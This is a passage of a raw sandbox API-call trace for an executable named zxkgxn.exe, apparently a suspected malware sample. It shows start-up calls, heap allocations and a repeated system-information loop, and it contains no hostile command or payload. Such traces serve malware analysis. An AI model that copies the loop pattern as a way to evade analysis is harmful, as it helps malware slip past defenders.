4\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x71\x46\x39\x27\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0028.970] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487278, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe")) returned 0x30 [0028.970] GetLastError () returned 0x0 [0028.970] SetLastError (dwErrCode=0x0) [0028.970] GetLastError () returned 0x0 [0028.970] SetLastError (dwErrCode=0x0) [0028.970] GetLastError () returned 0x0 [0028.970] SetLastError (dwErrCode=0x0) [0028.970] GetLastError () returned 0x0 [0028.970] SetLastError (dwErrCode=0x0) [0028.970] GetLastError () returned 0x0 [0028.970] SetLastError (dwErrCode=0x0) [0028.970] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.971] SetLastError (dwErrCode=0x0) [0028.971] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.972] GetLastError () returned 0x0 [0028.972] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x39) returned 0x630780 [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.973] SetLastError (dwErrCode=0x0) [0028.973] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.974] SetLastError (dwErrCode=0x0) [0028.974] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.975] GetLastError () returned 0x0 [0028.975] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] GetLastError () returned 0x0 [0028.976] SetLastError (dwErrCode=0x0) [0028.976] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x98) returned 0x633a98 [0028.976] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1f) returned 0x6315b0 [0028.976] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x633b38 [0028.976] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x37) returned 0x633b78 [0028.976] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x633bb8 [0028.976] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x31) returned 0x633c00 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x6307c8 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x633c40 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x14) returned 0x633c70 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd) returned 0x6309a0 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x25) returned 0x633c90 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x39) returned 0x633cc0 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x633d08 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x633d28 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xe) returned 0x6309b8 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x69) returned 0x633d48 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x633dc0 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x6315d8 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1d) returned 0x631600 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x633e08 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x633e58 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x633e78 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x631628 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x633e98 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x633ec8 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x631650 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x41) returned 0x633f00 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x633f50 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xf) returned 0x6309d0 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x16) returned 0x633f70 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x633f90 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x632828 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x15) returned 0x633fc8 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x631678 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x632860 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x632898 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x6328b8 [0028.977] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x46) returned 0x6328d8 [0028.977] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x633300 | out: hHeap=0x620000) returned 1 [0028.978] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x80) returned 0x632928 [0028.978] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6329b0 [0028.978] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0028.978] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0028.978] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4121fd) returned 0x0 [0028.978] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632928) returned 0x80 [0028.979] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632928) returned 0x80 [0028.979] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632928) returned 0x80 [0028.979] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632928) returned 0x80 [0028.979] GetLastError () returned 0x0 [0028.979] SetLastError (dwErrCode=0x0) [0028.979] GetLastError () returned 0x0 [0028.979] SetLastError (dwErrCode=0x0) [0028.979] GetLastError () returned 0x0 [0028.979] SetLastError (dwErrCode=0x0) [0028.979] GetLastError () returned 0x0 [0028.979] SetLastError (dwErrCode=0x0) [0028.979] GetLastError () returned 0x0 [0028.979] SetLastError (dwErrCode=0x0) [0028.979] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.980] SetLastError (dwErrCode=0x0) [0028.980] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.981] SetLastError (dwErrCode=0x0) [0028.981] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.982] GetLastError () returned 0x0 [0028.982] SetLastError (dwErrCode=0x0) [0028.983] GetMessageTime () returned 0 [0028.983] GetLastError () returned 0x0 [0028.983] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.983] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.983] GetMessageTime () returned 0 [0028.983] GetLastError () returned 0x578 [0028.983] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.983] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.983] GetMessageTime () returned 0 [0028.983] GetLastError () returned 0x578 [0028.983] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.983] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.983] GetMessageTime () returned 0 [0028.983] GetLastError () returned 0x578 [0028.983] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.983] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.983] GetMessageTime () returned 0 [0028.983] GetLastError () returned 0x578 [0028.983] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.984] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.984] GetMessageTime () returned 0 [0028.984] GetLastError () returned 0x578 [0028.984] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.984] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.984] GetMessageTime () returned 0 [0028.984] GetLastError () returned 0x578 [0028.984] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.984] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.984] GetMessageTime () returned 0 [0028.984] GetLastError () returned 0x578 [0028.984] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.984] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.984] GetMessageTime () returned 0 [0028.984] GetLastError () returned 0x578 [0028.984] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.984] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.984] GetMessageTime () returned 0 [0028.984] GetLastError () returned 0x578 [0028.984] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.984] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.984] GetMessageTime () returned 0 [0028.984] GetLastError () returned 0x578 [0028.984] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.985] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.985] GetMessageTime () returned 0 [0028.985] GetLastError () returned 0x578 [0028.985] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.985] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.985] GetMessageTime () returned 0 [0028.985] GetLastError () returned 0x578 [0028.985] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.985] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.985] GetMessageTime () returned 0 [0028.985] GetLastError () returned 0x578 [0028.985] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.985] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.985] GetMessageTime () returned 0 [0028.985] GetLastError () returned 0x578 [0028.985] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.985] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.985] GetMessageTime () returned 0 [0028.985] GetLastError () returned 0x578 [0028.985] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.985] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0028.985] GetMessageTime () returned 0 [0028.985] GetLastError () returned 0x578 [0028.985] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0028.986] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, 